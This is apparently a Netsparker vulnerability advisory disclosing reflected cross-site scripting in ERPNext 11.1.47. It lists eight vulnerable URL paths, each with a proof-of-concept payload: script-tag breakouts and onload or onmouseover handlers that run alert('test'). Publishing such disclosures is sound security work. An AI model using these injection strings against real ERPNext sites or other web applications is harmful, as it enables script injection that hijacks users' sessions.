Information -------------------- Advisory by Netsparker Name: Multiple Reflected Cross-site Scripting Vulnerabilities in ERPNext Affected Software: ERPNext Affected Versions: 11.1.47 Vendor Homepage: https://erpnext.com/ Vulnerability Type: Reflected Cross-site Scripting Severity: High Status: Fixed CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N Netsparker Advisory Reference: NS-19-017 Technical Details -------------------- URL: http:// {DOMAIN}/address/'"--></style></scRipt><scRipt>alert(‘test’)</scRipt> Parameter Type : Full URL Parameter Name : URI-BASED Attack Pattern : '"--></style></scRipt><scRipt>alert(‘test’)</scRipt> URL: http:// {DOMAIN}/addresses/'"--></style></scRipt><scRipt>alert(‘test’)</scRipt> Parameter Type : Full URL Parameter Name : URI-BASED Attack Pattern : '"--></style></scRipt><scRipt>alert(‘test’)</scRipt> URL: http://{DOMAIN}/blog/"onload="alert(‘test’)" x Parameter Type : Full URL Parameter Name : URI-BASED Attack Pattern : "alert(‘test’)" x URL: http:// {DOMAIN}/contact/'"--></style></scRipt><scRipt>alert(‘test’)</scRipt> Parameter Type : Full URL Parameter Name : URI-BASED Attack Pattern : '"--></style></scRipt><scRipt>alert(‘test’)</scRipt> URL: http:// {DOMAIN}/project/'"--></style></scRipt><scRipt>alert(‘test’)</scRipt> Parameter Type : Full URL Parameter Name : URI-BASED Attack Pattern : '"--></style></scRipt><scRipt>alert(‘test’)</scRipt> URL: http://{DOMAIN}/user/admin@example.comx "%20onmouseover=alert(‘test’)%20x=" Parameter Type : Full URL Parameter Name : URI-BASED Attack Pattern : x"%20onmouseover=alert(‘test’)%20x=" URL: http://{DOMAIN}/api/method/x"%20onmouseover=alert(‘test’)%20x=" Parameter Type : Full URL Parameter Name : URI-BASED Attack Pattern : x"%20onmouseover=alert(‘test’)%20x=" URL: http://{DOMAIN}/api/x"%20onmouseover=alert(‘test’)%20x=" Parameter Type : Full URL Parameter Name : URI-BASED Attack Pattern : x"%20onmouseover=alert(‘test’)%20x=" For more information: https://www.netsparker.com/web-applications-advisories/ns-19-017-cross-site-scripting-in-erpnext/